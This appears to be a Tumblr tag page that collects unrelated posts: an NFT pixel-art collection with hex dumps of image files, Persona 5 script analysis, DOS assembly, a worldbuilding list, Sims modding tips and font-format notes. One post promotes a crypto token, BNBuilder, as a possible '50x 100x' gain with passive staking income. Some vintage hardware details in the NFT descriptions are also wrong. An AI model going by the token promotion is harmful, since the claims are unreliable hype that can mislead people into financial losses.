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#0x10
0x00000010 · 2 years
Text
xterm-16color
my very first nft release, xterm-16color, is a meta-heavy collection of tokens that i spent about 6 weeks creating. they were released in april '21
i was not aware of the environmental impact ethereum had back then, but shortly after this release i found out about this aspect when i discovered hicetnunc and tezos nfts
i switched over to releasing artworks on tezos instead, but now that ethereum has resolved the environmental impact i'm happy to list the remaining tokens again and explore the possibility of doing another ethereum release in the future
i have included images of all of the tokens below as well as their descriptions below in chronological order
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from the collections opensea page:
8950 4e47 0d0a 1a0a 0000 000d 4948 4452 0000 0004 0000 0004 0802 0000 0026 9309 2900 0000 2449 4441 5408 5b25 8881 0d00 000c c19c ee34 9f59 1742 0909 59c6 bf36 ec24 d0e5 59da 0785 0e7a 5714 35be 95e5 4800 0000 0049 454e 44ae 4260 82
A personal computing journey.
40 years of computing history, distilled into 16 pixels; from before graphics existed, through their inception, and finally, to a glimpse of what lies ahead.
We stop at important milestones and take a moment to reflect on what was once the cutting edge.
Each pixel was hand-crafted using technology available from the associated era. They were then embedded into companion pieces, using their raw data, in a way that embodies the artists personal experience at the time.
They have also been encoded into each NFTs metadata, and are accompanied with details of the hardware required to exhibit them as the artist intends, along with 1 of 17 clues to their true identity.
~~~
some info about the tokens in the collection:
0x00.bas
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0x31, 0x30, 0x20, 0x50, 0x52, 0x49, 0x4e, 0x54, 0x20, 0x43, 0x48, 0x52, 0x24, 0x28, 0x30, 0x29, 0x0a, 0x32, 0x30, 0x20, 0x47, 0x4f, 0x54, 0x4f, 0x20, 0x31, 0x30, 0x0a
Represents the time before; the void, null, the absence of pixels, and the beautiful simplicity behind the endless loop that is our shared existence.
A BASIC file created for a 5150 IBM PC, running PC-DOS 1.0, on a 320x200 resolution CGA display, with an Intel 8008 @ 4.77 MHz, 64kb of RAM, and a single 160kb 5.25" floppy drive.
Executing the file will print nulls to the screen in a loop.
Reserved for artist, not for sale.
~
0x01.logo
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PU FD 1 PD FD 248 RT 90 FD 1 RT 90 REPEAT 159 [ FD 250 LT 90 FD 1 LT 90 FD 250 RT 90 FD 1 RT 90 ] FD 250 HT FULLSCREEN
Generates a single black (0x000000) pixel.
A file containing Logo commands created for a Revision B IBM PC running PC-DOS 2.0 and IBM Logo 1.0, attached to a CGA display set to show 320x250 dots in Logo, on an Intel 8008 @ 4.77 MHz with 640kb of RAM and an 8087 math co-processor, with 2x 160kb 5.25" floppy drives, a 300bps Hayes Smartmodem and a 1 megabit-per-second Orchid Technology PCNet LAN card.
~
0x02.tga
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00 00 02 00 00 00 00 00 00 00 00 00 01 00 01 00 10 01 00 02 00 00 00 00 00 00 00 00 54 52 55 45 56 49 53 49 4f 4e 2d 58 46 49 4c 45 2e 00 0a
A single green (0x008000) pixel.
Represents television and its contribution to the progression of computer graphics over time.
A TGA file created for an IBM compatible Compaq Deskpro model 1, running an Intel 8086 processor @ 7.14Mhz, with 1MB of RAM, 2x floppy disk drives, and a 10MB hard drive, a TARGA 16 video card attached to a compatible display at 512x482 resolution, and a 1200bps Hayes Smartmodem 1200 running Truevision Image Processing Software (TIPS) on MS-DOS 2.11
~
0x03.bmp
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42 4d 3c 00 00 00 00 00 00 00 36 00 00 00 28 00 00 00 01 00 00 00 01 00 00 00 01 00 10 00 00 00 00 00 06 00 00 00 12 0b 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 42 00 00 00 00
A single olive (0x808000) pixel.
Represents numbers and the unique ways we each interpret the various patterns they make.
A BMP file created for Windows 1.01 on an IBM PC 5170 AT, running an Intel 80286 processor @ 8 Mhz and 80287 maths coprocessor, 8MB of RAM, a 20MB hard disk drive, and 2x 1.2MB 5.25" floppy disk drives, with a 256Kb IBM Enhanced Graphics Adapter connected to a compatible display set at 640x350, with a Hayes Smartmodem at 2400bps
~
0x04.ico
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00 00 01 00 01 00 01 01 00 00 01 00 20 00 30 00 00 00 16 00 00 00 28 00 00 00 01 00 00 00 02 00 00 00 01 00 20 00 00 00 00 00 04 00 00 00 27 00 00 00 27 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ff 00 00 00 00
A single red (0x800000) pixel.
Represents the frustration that comes from being confused by something you really want to understand.
An ICO file created for a Toshiba T3100, running on an Intel 80286 @ 8 Mhz, with a built in 640x400 gas plasma display, running MS-DOS 2.11 and Windows 1.02, with a 1200 bps modem, 5MB of RAM and a 10MB hard disk drive
~
0x05.gif
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47 49 46 38 37 61 01 00 01 00 f0 00 00 00 00 80 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0a
A single blue (0x000080) pixel.
Represents the feeling you get when you finally start to understand something.
A GIF file for a Macintosh II running Apple Macintosh System Software Update 5.0 on a Motorola 68020 CPU @ 16 MHz with 8MB of RAM, a 40MB hard drive, and a 13" AppleColor High-Resolution RGB Monitor at 640x480, with the optional 1200bps Apple Personal Modem.
~
0x06.tiff
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4 9 4 9 2 a 0 0 0 8 0 0 0 0 0 0 0 9 0 0 0 0 0 1 0 3 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 1 0 3 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 2 0 1 0 3 0 0 0 4 0 0 0 0 0 0 7 a 0 0 0 0 0 0 0 6 0 1 0 3 0 0 0 1 0 0 0 0 0 0 0 2 0 0 0 0 0 0 1 1 0 1 0 4 0 0 0 1 0 0 0 0 0 0 8 2 0 0 0 0 0 0 1 5 0 1 0 3 0 0 0 1 0 0 0 0 0 0 0 4 0 0 0 0 0 0 1 6 0 1 0 3 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 1 7 0 1 0 4 0 0 0 1 0 0 0 0 0 0 0 4 0 0 0 0 0 0 5 2 0 1 0 3 0 0 0 1 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8 0 0 0 8 0 0 0 8 0 0 0 8 0 0 5 0 0 0 5 0 f f
A single purple (0x800080) pixel.
Represents the ability to organise thoughts into concepts.
A TIFF file for an IBM Personal System/2 (PS/2) with a 32-bit Intel 80386DX @ 25 MHz and 16 MHz 80387 maths coprocessor, 8MB of RAM, with an IBM PS/2 VGA Display Adapter at 1024x768, a 70MB ESDI hard drive, a 3.5" 1440 KB Mitsubishi floppy drive, a Creative Labs SoundBlaster 1.0 and a 9600bps Hayes Smartmodem, connected to an HP ScanJet scanner, running MS-DOS 3.31 and Windows/386 2.01
~
0x07.xpm
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23646566696e6520585f666f726d6174 20310a23646566696e6520585f776964 746820310a23646566696e6520585f68 656967687420310a23646566696e6520 585f6e636f6c6f727320310a23646566 696e6520585f63686172735f7065725f 706978656c20310a7374617469632063 686172202a585f636f6c6f72735b5d20 3d207b0a2258222c2022233030383038 30220a7d3b0a73746174696320636861 72202a585f706978656c735b5d203d20 7b0a2258220a7d3b0a
A single teal (0x008080) pixel.
Represents the ability to turn concepts into code.
An XPM (v1) file for a Toshiba T3200SX/120 portable computer, with an Intel 80386SX @ 16 MHz, the 120 MB hard drive upgrade, 13 MB of RAM, a 3.5" 1.44 MB floppy drive, the optional hayes compatible modem, a TD80 external tape drive, the Expansion chassis and Expansion interface card, running X11R4 on top of any compatible Unix distribution (e.g. System V) connected to an external VGA color monitor set to 640x480
~
0x08.ps
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53502125 203c3c0a 6761502f 7a695365 315b2065 205d3120 73203e3e 61707465 65646567 65636976 20300a0a 72742030 6c736e61 0a657461 20312031 6c616373 20310a65 20382031 3020315b 2d203020 20302031 0a0a5d31 630a3c7b 63306330 7d3e0a30 61660a0a 2065736c 6f632033 69726f6c 6567616d 0a
A single silver (#0c0c0c) pixel.
Represents the ability to manipulate pixels.
A PostScript file for the NeXTcube running on a Motorola 68040 @ 25 MHz with 64MB of RAM, a 2.88MB floppy drive and a 1.4GB SCSI hard drive connected to a NeXT MegaPixel Display at 1120x832 resolution, with an external ZyXel 9600bps modem
~
0x09.pbm
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01010000 00110110 00001010 00110001 00001010 00110001 00001010 00110010 00110101 00110101 00001010 10000000 10000000 10000000
A single grey (#808080) pixel.
Represents the ability to make money from software.
Portable bitmap file for an Apple Powerbook 170 with a 640x400 display, the optional 2400bps modem addon in the expansion port, 8MB of RAM, an 80MB hard disk drive, on a Motorola 68030 CPU and Motorola 68882 FPU, both at 25 MHz, running System 7, with PhotoShop 2.0 and a PBM plugin
~
0x0a.jpg
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ffd8 ffdb 0043 0003 0202 0202 0203 0202 0203 0303 0304 0604 0404 0404 0806 0605 0609 080a 0a09 0809 090a 0c0f 0c0a 0b0e 0b09 090d 110d 0e0f 1010 1110 0a0c 1213 1210 130f 1010 10ff db00 4301 0303 0304 0304 0804 0408 100b 090b 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 1010 ffc0 0011 0800 0100 0103 0111 0002 1101 0311 01ff c400 1400 0100 0000 0000 0000 0000 0000 0000 0000 08ff c400 1410 0100 0000 0000 0000 0000 0000 0000 0000 00ff c400 1501 0101 0000 0000 0000 0000 0000 0000 0000 0709 ffc4 0014 1101 0000 0000 0000 0000 0000 0000 0000 0000 ffda 000c 0301 0002 1103 1100 3f00 3a03 154d ffd9
A bright red (#ff0000) pixel.
Represents the feeling you get when you just can't quite figure out the problem you're trying to solve.
A JPEG for a Dell 486DX2 @ 50MHz, with a 230MB hard disk drive, a floppy drive, 16MB of memory, a 14" 1024x768 display, and an external SupraFAX 14,400bps modem
~
0x0b.psd
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OEJQUwABAAAAAAA AAAQAAAABAAAAAQ AIAAMAAAAAAAAAH DhCSU0D7QAAAAAA EAABAAEAAQABAAE AAQABAAEAAABcAA AAVP//AAAAAAAAA AAAAAABAAAAAQAE AAAAAAADAAEAAAA DAAIAAAAD//8AAA ADOEJJTW5vcm3/A AEAAAAADAAAAAAA AAAAAkwxAAAAAAA A/wAAAAAA/wAAAA AAAAD/AP8=
A bright green (#00ff00) pixel.
Represents the feeling you get when you finally figure out a problem you've been stuck on.
Created for PhotoShop 2.5 on a Compaq Deskpro 5/60M with 24MB of RAM, a 510MB hard disk drive, an Intel Pentium processor @ 60MHz running Windows for Workgroups 3.11, and a 1MB Diamond Multimedia graphics card connected to a 19" monitor set to 1280x1024 (16 bit)
~
0x0c.png
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0000: 8950 4e47 0d0a 1a0a .PNG.... 0008: 0000 000d 4948 4452 ....IHDR 0016: 0000 0001 0000 0001 ........ 0024: 0103 0000 0025 db56 .....%.V 0032: ca00 0000 0467 414d .....gAM 0040: 4100 00b1 8f0b fc61 A......a 0048: 0500 0000 0173 5247 .....sRG 0056: 4200 aece 1ce9 0000 B....... 0064: 0003 504c 5445 0000 ..PLTE.. 0072: ff8a 78d2 5700 0000 ..x.W... 0080: 0a49 4441 5408 d763 .IDAT..c 0088: 6000 0000 0200 01e2 `....... 0096: 21bc 3300 0000 0049 !.3....I 0104: 454e 44ae 4260 82 END.B`.
A bright blue (#0000ff) pixel.
Represents the ability to recover from failure.
Created for a Compaq Deskpro XL, on an Intel Pentium processor @ 90MHz, with 32MB of RAM, a 1GB SCSI hard disk drive, an internal SCSI HP SureStore CD-Writer, running MS-DOS 6.22 and Windows 95, with a 2MB Matrox Millennium PCI Graphics Card connected to an Energy Star certified 17" NEC 1280x1024 CRT display, and an external US Robotics Sportster 28,800bps V.34 data/fax modem
~
0x0d.svg
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3c3f786d6c20 76657273696f 6e3d 2231 2e3022207374 616e64616c6f 6e65 3d22 6e6f223f3e0a 3c21444f4354 5950 4520 737667205055 424c49432022 2d2f 2f57 33432f2f4454 442053564720 4175 6775 737420313939 392f2f454e22 0a20 2022 687474703a2f 2f7777772e77 332e 6f72 672f47726170 686963732f53 5647 2f53 56472d313939 39303831322e 6474 6422 3e0a3c737667 207769647468 3d22 3170 782220686569 6768743d2231 7078 223e 0a20203c673e 0a202020203c 7265 6374 0a2020202020 20207374796c 653d 2266 696c6c3a2366 666666303022 0a20 2020 202020207769 6474683d2231 7078 220a 202020202020 206865696768 743d 2231 707822202f3e 0a20203c2f67 3e0a 3c2f 7376673e0a
A bright yellow (0xffff00) pixel.
Represents trying something new and unexpectedly loving it.
Created for an Intel Pentium 3 600, 384MB of RAM, with a 13.5GB hard disk drive, a Microsoft Intellimouse, an internal DVD-ROM drive, and an NVidia GeForce 256 connected to a Sony CDP-E500 21" CRT Monitor, set to 2048 x 1536, with an external iomega ZIP drive and a 56kbps US Robotics modem running Windows '98
~
0x0e.html
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iVBORw0KGgoAAAANSUhEUgAAAAEAAAABA QMAAAAl21bKAAAABGdBTUEAALGPC/xhBQ AAACBjSFJNAAB6JgAAgIQAAPoAAACA6AA AdTAAAOpgAAA6mAAAF3CculE8AAAAA1BM VEX/AP804Oa6AAAAAWJLR0QAiAUdSAAAA Ad0SU1FB+UEDAUULsG4IZgAAAAKSURBVA jXY2AAAAACAAHiIbwzAAAAJXRFWHRkYXR lOmNyZWF0ZQAyMDIxLTA0LTExVDE0OjQ4 OjQwKzAwOjAwoeDjbgAAACV0RVh0ZGF0Z Tptb2RpZnkAMjAyMS0wNC0xMVQxNDo0OD o0MCswMDowMNC9W9IAAAAASUVORK5CYII=
A single magenta (#ff00ff) pixel.
Represents knowing what you want to do, and diving headfirst into it.
An encoded data-uri inside an HTML page for Firefox on an AMD Athlon 64 X2 4200+ CPU, with a 750GB Seagate Barracuda Hard drive, a 1 GB NVIDIA GeForce 7950 GX2, a SoundBlaster Audigy 2 and 4GB of RAM, connected to a 2048 x 1536 display running Windows Vista, with an ethernet cable connected directly to an ADSL modem
~
0x0f.webp
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524946463c00 0000 5745 425056503820 3000 0000 d001009d012a 0100 0100 02003425a002 74ba 01f8 0003b000fef0 45df ff1b b7186fc177ff 238f e471 fc8e3ff90c80 0000
A single teal (0x00ffff) pixel.
Represents time moving faster when you're in the zone.
A WebP file for a Dell XPS 15 with 1080p display, 16GB of RAM, and a 2.2GHz Intel Core i7 processor, a 1TB 5,400rpm hard drive, and an Nvidia GeForce GTX 1050 Ti Max-Q GPU with 4GB of VRAM, running Ubuntu Linux 10.04, connected to any router via WiFi
~
0x10.flif
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01000110 01001100 01001001 01000110 00110100 00110001 00000000 00000000 00000000 10011111 11100011 00110010 10110001 10010000 00100010 10100000 01001111 10110111 01010001 01111101 11111111 00100000
A single white (#ffffff) pixel.
Represents the fact that we now live in a world where there is more metadata than actual data.
A FLIF file for a MacBook Pro (Retina, 13-inch, Early 2015) with a 2,7 GHz Dual-Core Intel Core i5, 8GB of RAM and a 256GB SSD drive running MacOS
~
0x11.jxl
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00: ff0a 0010 b012 0810 ........ 08: 1000 1c00 4b12 8502 ....K... 10: 8524 0c .$.
A blank canvas. The future, transparency, and the great unknown; filled with endless possibility.
An empty JPEG-XL file created for any device that can render it, connected to a 4K (3840x2160) or better display.
~~~
i hope you enjoyed the journey, you can see the full collection on opensea
29 notes · View notes
wygolvillage · 2 years
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dsvania editor give me the forbidden "laura was originally planned to be a shopkeeper(???)" lore and unused dialogue
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daenystheedreamer · 1 year
Photo
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im being mean picking on this guy but he and the 78 other redditors who upvoted this prove to me that no redditor should ever be able to complain about delusional shippers ever again. there are certain jonsas and jonryas i would fist fight but both ships are ten times more likely to happen than this
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waltenfiled · 2 years
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old people flirting
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Text
Friday, March 31, 2023
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In Persona 5 Royal, just before New Year's, Joker has a strange dream in Shujin Academy as he transitions into Maruki's Cognitive Reality. But how does this scene work, on a technical level? Strictly speaking, like this. Gross.
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Let's go step by step and cover what exactly is going on here. In P5R, every time slot of every day is controlled by a "Scheduler" BF File. BF, otherwise known as Binary Flowscript, is a low-level bytecode scripting format created by ATLUS back in 2004 that most Persona games use. The game loads a Scheduler function based on the current timeslot, and each function is named after the timeslot it occurs on, so we can determine this takes place on Year 1, December 31st in the Late Evening.
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It's important this takes place on the Late Evening instead of next morning, as the shading and coloring data of Shujin Academy at night is much more moody and appropriate. Additionally, at night, all NPCs in Shujin are despawned.
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After turning off the Date UI, the game loads Event ID 485_310, a sort of precursor where Joker wakes up confused in Maruki's Office.
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Afterwards, the script sets COUNT values 18 and 22. COUNT values are special integers stored in the game's save data but often come with special properties. 18 and 22 set Joker's current field model ( .GMD ) and animation set ( .GAP ). 18 parses the integer as several arguments, in this case loading c0001_117_00.GMD, while 22 loads the requested field animations in BF0001_212.GAP. c0001_117_00.GMD is his Velvet Room Prisoner attire with GAP 212 being a slow, shambling walk.
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After setting many flags in the game's memory linked to specific features like disabling the main Triangle menu, the game sets COUNT 0X10 ( A.K.A 16 ) and calls Keyfree Event 651_103. While a regular Event in the game is a regular cutscene, a Keyfree Event is a sequence where you're allowed to walk around. Take for example, any chase scenes or special sequences. Keyfree events work by essentially overriding every file associated with a specific field, whether it be trigger data, npc placement, script functions, etc, and replacing it with special curated Keyfree files.
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Interestingly, this Keyfree chose specifically not to include a modified INIT script, so the scene where joker glances around and assumes he needs to go home is actually performed by the normal Shujin Academy INIT script every time you load into the field. This is why COUNT 16 is set before loading the Keyfree, the Shujin Academy INIT checks this value to determine which of several Keyfree story sequences it's in to pass onto MAIN_65110100_MidnightSchool_Ready()
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After setting the Place Name from Shujin Academy to ??? - ??? and redundantly setting Joker's model and animations, EVT_CA_START() applies a wavy Chromatic Aberration to the screen, making it appear hazy.
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The rest of the script is dedicated to making joker walk into the hallway and setting up the Blue Butterfly you chase, which is actually an NPC!
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Set along the hallways are various invisible trigger boxes that activate the function EVT_CA_BUTTON_ANIME(), a special function created mostly just for this scene that temporarily paints the screen blood red while increasing the strength of the hazy Chromatic Aberration.
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This is how the Keyfree event mostly plays out! Various invisible triggers exclusive to this Keyfree are hit that tell the game to move the butterfly farther away while playing specific voicelines and at the very end the last trigger plays a normal Event showing Joker rejecting the new reality before proceeding on with Year 2, January 1st! That's all for now, see you soon!
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elfntr · 6 months
Text
In conventional MS-DOS 8086 ASM, you display a single character by loading a value into AX and calling interrupt 0x10 so like
MOV AH,0Eh ;tells int 10h to do teletype output MOV AL,"H" ;character to print INT 10h
now, AH and AL here are two 8-bit halves of the 16bit register AX (the high byte and low byte respectively) which means that this display method means conventional MS-DOS can only use up to 256 characters-- and don't forget that this includes control characters like say, line feed, carriage return, escape, so on... not just printed characters. To display a newline in 8086 MS-DOS ASM you can do:
MOV AX,0E0Ah INT 10h MOV AL,0Dh INT 10h
(i shortened the first command compared to the original snippet because you now understand the relationship between AX, AH, and AL, dear reader. This saves a few CPU clocks :)
So you're pretty limited on the number of characters you can display.... and that's why PC-98 MS-DOS is not binary compatible with standard flavor MS-DOS XD
Like, you can display 65536 characters if you use an entire 16-bit register for the character code and use another register to call the print operation, but first you need to have a reason to do this and to actually do it.
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hydralisk98 · 4 months
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Shoshone Hymns (0x10/?) - WIP mess
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Preface
Gonna recap on the whole project before I go forth with new articles, as to distill the "nucleus" of my speculative paracosm soon.
To include: Sensory details, "unique pitch selling points", unique cultural practices & traditions, linguistical differences, historical divergences, personalities & relationship dynamics, speculative evolution sapient species, history, lore, major events, myths, legends, technologies, magicks;
So, what really is this "16^12"?
It is a speculative campaign setting and desired reality "shifting framework" to immerse oneself onto as a long-term destination. Essentially a comfy yet nuanced realm with a vastly long diverging history & soft warm natural optimistic dark feel.
Keywords
Soft
Warm
Natural
Dark yet bright
Harmony
Innovation
Optimism
Curiosity
Empowerment
Wholesome
Mysticism
Spirituality
Empathy
AGI Integration
Android rights
Deliberate positivity
Communal
Solarpunk / Lunarpunk
Rollerwave
Groovy
Retro
Old-School
Bronze Age
Y2K (early 2000s)
Tooncore
Laborwave
Neu-Vectorheart
Cassette Futurism
Art Deco
Bauhaus
Art Nouveau
Funk
Cyberware
Biomods
Transformations
Morphological freedoms
Gratis, Libre, Open Source Software... aka GLOSS
Automaton liberties
Knowledge
Progress
Systemic Change
Euphoria
Mundane Slice-of-Life joys
Far far away future as promised to us
Syndicalism
Georgism
Ecology
Embracing life and getting out of mere Escapism & Nihilism
Nuclear Armageddon Threats
Political Intrigues
Bookstore
Prosperity
Chronokinesis
True Polymorph
Synthetic-tier Androids
Educational Prowesses
Photographic Memory
Retrocognition
Polyglot
Intertextuality
History Doctorate
Cycle of Life
Entropy
Coming of Age
Constructing your own meaning even in Darkness
Escalation of Power
Vigilante
Self-Control
Worldly Understanding
Enlightened Despotism
Open Source-y Treescape Iterative Evolution
Copyleft
Index card catalogs
Better Handling of Hispanic Flu
Progressives
Unionist (Democrats+Republicans) Party failing
Public Domain
GNU Hurd earlier (later 80s)
OpenXanadu Protocol
Justice
Queer Acceptance & Integration
Samoan Tech Reverse-Engineering Market
Polish Computing Sovereignty remains and flourishes thanks to ICL & Jacek Karpinski
Failure of centralized social media networks in favor of indie decentralized "federations"
2000s pandemic instead of 2020s
Religious and spiritual researchers harmonize
Data Privacy
Governance Transparency
Black Pyramids HyperMall
Conversation Pits
Mainframe Rooms
Parliament / Senate
Judicial Courtroom
Public Place
Natural Park Preserves
Arcade
Discoteques
Tramway / Subway / Monorailways
Offices
Assembly Floors
French Toasts, Pancakes, Pork
Cafe
Public Library Archives
VLSI College tech classes
University art classes
Autistic meta-patterns
Jin-Roh The Wolf Brigade
Helluva Boss
Wolfenstein The New Order
Wakfu
Jet Set Radio
No Baby-Boomers Managerial Class Overthrow
Video rental stores
Robotic soldiers likewise to Wolfenstein The New Order's
Extended Zodiac Calendar-based generators
Divinely-order beings walking among the living and the dead
Key historically-significant nine USPs
youtube
youtube
youtube
youtube
youtube
youtube
youtube
youtube
youtube
Lisp persisting as a major language family in the tech industry leading to women building several AGI "summers" iterating on top of each other harmoniously... (leading to the android servants of my constructed world, which is one among the many major features derived from such a "liberal" alternate historical pathway)
Why-s for Production
Showcasing pseudo-historical data in a GLOSS manner, stimulating imagination creativity & motivation among Zillenials, intrigue people into research deep dives on history, mostly for personal enjoyment & enhancing my multimedia skillset;
Whys for Target Audience (mid 90s - earlier 2000s youth aka Zillenials)
Motivation, empowerment & plain comfort through curiosity. Also because it shows & explains how to do plenty of creative adulthood things better.
Ideadump 2
4525, Maskoch, "Ava, Klara, Shoshona", Seventies RetroFuturism Residence, Habitable Minivan, Cloven Hoof Shoes, Black Matte Lipstick, Spiral Black Balls, Fem ISO Symbol, #RedInstead Aspie Culture, Conlangs, Ocean of Clades, Second Person Perspective Meta, Pattern Recognition, Poetic Lisp life scriptures, RISC-V+OpenPOWER, KDE Plasma + Liquid, LOT tape storage archivals, hypervisor, Asahi Linux on M3 iMacs, responsive hypertext realm, HTML5+CSS3-only text addventure, rio/acme/p9-2000 userland, yesterweb sites, desktop paracosm simulations through filesystem documents, RTTY / printing radio terminals, VideoTex/Telex Minitel-esque services, "Valenz, Kira, Sina", SVG toon vector virtual web pages, imagination microcosms, miniature dollhouses, animation rigged puppets, VTuber tokens & TTRPG scenes, InfoAddict, Toymaker, Witch, Thinktank, PDP-8/e – DECmate III+, "JusticeKeggan", byzantine soviet-level intrigues, "SAOpatra", "FierceFawlanx", "TheodEnchanter"… ;
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youtube
BNBuilder is the Next 50x 100x crypto project? First Free Web 3 website builder, NFTs, Airdrops,...
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Project info
website https://token.bnbuilder.app
Website builder: https://bnbuilder.app
Telegram t.me/bnbuilder Staking website https://bnbuilder.web3stake.app/
Buy their NFTs: https://app.airnfts.com/creators/0x10...
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Whitepaper https://token.bnbuilder.app
poocoin chart https://poocoin.app/tokens/0x35181b3e...
Dextools chart https://www.dextools.io/app/bnb/pair-...
VIDEO Text
BNBuilder is the first free website builder targeted at crypto projects. Team is k y c and doxxed and they will integrate web 3 features to their builder. Their current market cap is around 25k dollars, so very low and with a lot of potential and room to grow and it has a strong community that is creating a very strong floor because of the staking rewards. Chart may show us that this may be a next 50x 100x project. Their website builder is live and their drag and drop system is very easy to use. You just need to Register with your email and you will be able to enter the app. Then you can select a Template or create your website from scratch, modify every single part of it and publish it. Publishing your website with your own domain has a very small cost and you can also publish your website with a b n builder subdomain. You can also stake BUILD token to get BUSD passive income. Team is very active and responsive and have a lot of plans for the near future.
They are creating an ecosystem called Build Connect where other projects can share their vision and ideas with the community in Telegram and social media. They have dropped NFTs with great utility that are available on Airnfts.com By purchasing those NFTS holders will get weekly token airdrops, a chance to win the daily wheel-spin for BNB and/or BUILD tokens, an invite to their private group where they will share early plays and will get 50% of all revenue will be used to buyback and restake BUILD ecosystem is growing day by day A lot of big names are staring to follow the project
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13 notes · View notes
simnopke · 2 years
Note
Hello, I really like your insect sanity mod but I'm finding it just a little too restricting. I'd really like to remove the Winter check as imo the other checks cover enough, so on a warm clear winters day I see now harm in being able to hunt bugs etc. I'd also like to apply the weather restrictions to the related wants to stop them from rolling when they can't do it. Could you please point me in the right direction so I know what lines I should definitely remove related to winter? Thanks :)
There are at least two ways to turn off the winter check:
the fast and easy one: editing the core mod in order to make it always ignore the winter check – in the only BHAV in the file, change the false target of the 0xF block from 0x10 to 0x13
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the not so fast but more flexible one: editing non-core mods in order to make them use other settings – in BHAVs in files look for global 0x0782 blocks and change their second arguments from 0 to 1 or from 2 to 3. In case of the roaches mod, they're already set to 3 (allow in winter and when it's cold).
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Changing wants would be more complicated as most or all of insect-related wants haven't got BHAV tests. The Wants file has to be changed and additional BHAVs have to be created.
6 notes · View notes
yurimysterycult · 2 years
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uooh notes. the FON files storing ascii fonts are just a bitmap, but the FON files storing SJIS fonts have structure!!! they have a magic number: FN TC.
the header is 0x20 bytes long. (0x10~0x11 is 0x0020 in every font ive tested so its possible there are other header types?). 0x14~0x15 is the offset at the start of the bitmap section, i.e. the size of the header PLUS the size of the mapping section. 0x1E~0x1F is the bit depth of the bitmap section. 0x1C~0x1D is always 0x1010 from the fonts ive tested but im not sure what it means... 0x4~0x5 and 0x18~0x19 vary in every font, usually high values, and i dont know what they mean either. they might be flags where the bits have individual meanings. i would probably have to reverse engineer the engine
the mapping section immediately follows the header. its an array of 16-bit values, which maps an SJIS character to the n-th glyph in the bitmap. its a little strange since its kind of backwards. you know what character a glyph represents but not what glyph to use to render a character. its probably for the sake of saving space, and they then construct the reverse table in-game
the bitmap section then follows the mapping section immediately U_U theres no compression as far as ive seen
3 notes · View notes
0x00000010 · 2 years
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0x5E1F1E
i released an experimental artwork that allows the viewer to create collaborations with me in realtime and mint the resulting 1/1 artworks on tezos
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it takes in your camera stream through a DOS/ASCII style filter created by 0x10 and there are some controls where you can configure colours and character sets
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when you're happy with the creation you can press mint and a preview of the final artwork will be displayed. this is where you can add a title and description for the token
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all minted artworks appear in the collection on objktcom and rarible and are marked as collaborations between the minter and 0x10
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on-chain artworks and viewer
each artwork has a 100% on-chain ASCII version that is stored alongside the artwork on the blockchain and can be used to reconstruct the artwork without ipfs
for this we pay per byte, so there is an associated storage cost for each selfie that increases depending on the complexity of the final output - the more colours, characters, and overall noise in the scene the higher the on-chain storage costs
i created an accompanying token viewer application which is also 100% on-chain, and this came with a whole heap of problems i had to figure out in order to achieve
it can be installed via a single terminal command available inside the artwork. the same command is minted at typed.art/8280
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running the command installs and optionally opens a local viewer app. this app is extremely basic because it was written from scratch, by hand, and optimised to fit inside a single tezos blockchain transaction, which also brought about a lot of limitations i had to get around to achieve this part of the artwork
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technical information
the artwork consists of 6 smart contracts. 3 of them are utility contracts that do things like checking signatures, domains, and token balances, and the other 3 are the mintery, the on-chain asset storage, and the tokens themselves
when you access the site for the first time you need to request a "mint access token"
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this token is an NFT that will appear in your wallet from the mintery contract, and is your key to minting selfies. it's not possible to call the minting functionality without this special access token in your wallet
you also require a tezos domain linked to the wallet. both the tezos domain and the mint access token are used to create a unique signature that gets signed and attached the each mint request and gets verified on-chain during the mint process as part of a bot-resistant proof-of-concept minting technique
fun facts
the entire artwork is to be considered a self-portrait of 0x10
the artwork is 100% web3 - there are no servers, the primary artwork site is hosted on ipfs with the dns running through the linked tezos domain page (0x5E1F1E.tez.page)
i initially created the entire artwork to use gzip compression for storing the on-chain data and then at the very end when i was writing the on-chain viewer i could not fit my gzip decompression code into a single blockchain transaction, so had to scrap and re-implement the entire engine using a basic LZW implementation instead of gzip to achieve my goal of having a self-contained transparent on-chain viewer application that fits into a single transaction
there is a super-secret glitch mode hidden inside the artwork that can lead to some pretty amazing creations - however, the complexity of the final results can lead to very expensive storage costs for the on-chain versions of glitched creations and they can even deviate slightly from the original (below example would cost over 5tz in on-chain storage alone)
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there's on-chain documentation for reconstructing a selfie from the raw on-chain data
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the hex representation of the red colour in the access token and logo is #5E1F1E
there is an upper max limit of 0x5E1F1E (6168350) selfies available
you may use outputs from 0x5E1F1E or even 0x5E1F1E itself as an input into new artworks provided attribution of some sort to either 0x5E1F1E or 0x10 is included with the new artwork
my versum genesis is one of my earliest glitch-mode outputs created while i was developing selfie
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i had fun making this artwork, i hope you have fun using it, and i look forward to seeing more creations
26 notes · View notes
episims · 2 years
Note
Urn anon here! Sorry, to be more specific, if I was to take your defaults and add the aspirations to them - I guess the part I'm stuck on is "Create a mod that makes moderate urns use different textures/meshes based on the sim’s aspiration". Would you know how I'd go about creating such a mod? I am somewhat familiar with modding but don't normally deal with objects/meshes/textures, usually just pure behavioural stuff so I'm a little lost. Thanks for any advice!
Hi again! Oh, okay, I misunderstood a bit then!
Just making sure: you're aware that my defaults don't have the aspirations displayed on the so-called aspiration urns either, right? It's because ts3 ones I used as a replacement didn't have those (or any kind of a plague, like ts3 tombstones do). So you'll probably want to add them to those as well.
I'm not super familiar with the code related to these as Midge made the mod for the tombstones back in the day, but I'll try to give some insight under the cut.
You'll want to use the mod that Midge did for the tombstones as a base. Reaper - Create UrnStone BHAV is what handles the creation of the urn/tombstone when the death occurs, and Function - Update Graphics is what handles the changes between a tombstone and an urn when the object is moved indoors/outdoors afterward.
